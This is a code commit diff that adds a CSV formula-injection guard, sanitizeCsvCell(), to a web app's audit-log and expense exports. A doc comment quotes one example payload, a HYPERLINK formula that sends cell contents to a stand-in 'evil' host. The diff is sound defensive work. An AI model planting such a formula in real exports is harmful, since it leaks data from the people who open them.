fix(audit): H10 — neutralize CSV formula injection in expense + audit exports

Adds sanitizeCsvCell() (prefixes a quote when a cell starts with = + - @
tab/CR) and applies it to the audit-export escape() and the user-controlled
free-text columns of the expense export before Papa.unparse.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
2026-06-02 12:18:07 +02:00
parent 4489ad2431
commit a335dbc117
3 changed files with 42 additions and 6 deletions

View File

@@ -1,6 +1,7 @@
import { NextResponse } from 'next/server';
import { withAuth, withPermission } from '@/lib/api/helpers';
import { sanitizeCsvCell } from '@/lib/csv/sanitize-csv-cell';
import { errorResponse } from '@/lib/errors';
import { searchAuditLogs } from '@/lib/services/audit-search.service';
@@ -94,7 +95,10 @@ function buildCsv(rows: Awaited<ReturnType<typeof searchAuditLogs>>['rows']): st
const escape = (v: unknown): string => {
if (v === null || v === undefined) return '';
const s = typeof v === 'object' ? JSON.stringify(v) : String(v);
const raw = typeof v === 'object' ? JSON.stringify(v) : String(v);
// Neutralize spreadsheet formula triggers before RFC 4180 framing —
// the leading quote is part of the cell value, not the CSV escaping.
const s = sanitizeCsvCell(raw);
if (/[",\n\r]/.test(s)) {
return `"${s.replace(/"/g, '""')}"`;
}

View File

@@ -0,0 +1,27 @@
/**
* CSV formula-injection defense.
*
* Spreadsheet applications (Excel, Google Sheets, LibreOffice Calc)
* interpret any cell whose first character is `=`, `+`, `-`, `@`, a tab
* (`\t`) or a carriage return (`\r`) as a formula. Attacker-seeded
* free-text fields can therefore smuggle payloads like
* `=HYPERLINK("http://evil/?leak="&A1)` that execute the moment an admin
* opens an export.
*
* The standard mitigation is to prefix such values with a single quote,
* which spreadsheets treat as "force text" and strip on display. This is
* a pure function: it only inspects the stringified value and returns a
* neutralized string, never mutating its input.
*
* Apply this BEFORE any RFC 4180 quote-escaping — the leading quote is
* part of the cell's value, not the CSV framing.
*/
const FORMULA_TRIGGERS = new Set(['=', '+', '-', '@', '\t', '\r']);
export function sanitizeCsvCell(value: unknown): string {
const s = String(value);
if (s.length > 0 && FORMULA_TRIGGERS.has(s[0]!)) {
return `'${s}`;
}
return s;
}

View File

@@ -1,6 +1,7 @@
import Papa from 'papaparse';
import { eq, and, gte, lte, isNull, or, ilike } from 'drizzle-orm';
import { sanitizeCsvCell } from '@/lib/csv/sanitize-csv-cell';
import { db } from '@/lib/db';
import { expenses } from '@/lib/db/schema/financial';
import { ports } from '@/lib/db/schema/ports';
@@ -63,17 +64,21 @@ export async function exportCsv(portId: string, query: ListExpensesInput): Promi
// quotes, newlines, BOM) that the hand-rolled escape-and-quote version
// missed. Keyed objects let us define column order via `columns` and
// get matching headers for free.
// Neutralize spreadsheet formula triggers on user-controlled free-text
// fields before papaparse serializes them (papaparse has no built-in
// CSV-injection guard). Numeric/derived columns are not attacker-seeded
// free text, so they keep their native values and formatting.
return Papa.unparse(
rows.map((r) => ({
Date: r.expenseDate ? new Date(r.expenseDate).toISOString().split('T')[0] : '',
Establishment: r.establishmentName ?? '',
Category: r.category ?? '',
Establishment: sanitizeCsvCell(r.establishmentName ?? ''),
Category: sanitizeCsvCell(r.category ?? ''),
Amount: r.amount,
Currency: r.currency,
'Amount USD': r.amountUsd ?? 'N/A',
'Payment Status': r.paymentStatus ?? '',
'Payment Method': r.paymentMethod ?? '',
Description: r.description ?? '',
'Payment Status': sanitizeCsvCell(r.paymentStatus ?? ''),
'Payment Method': sanitizeCsvCell(r.paymentMethod ?? ''),
Description: sanitizeCsvCell(r.description ?? ''),
})),
{
columns: [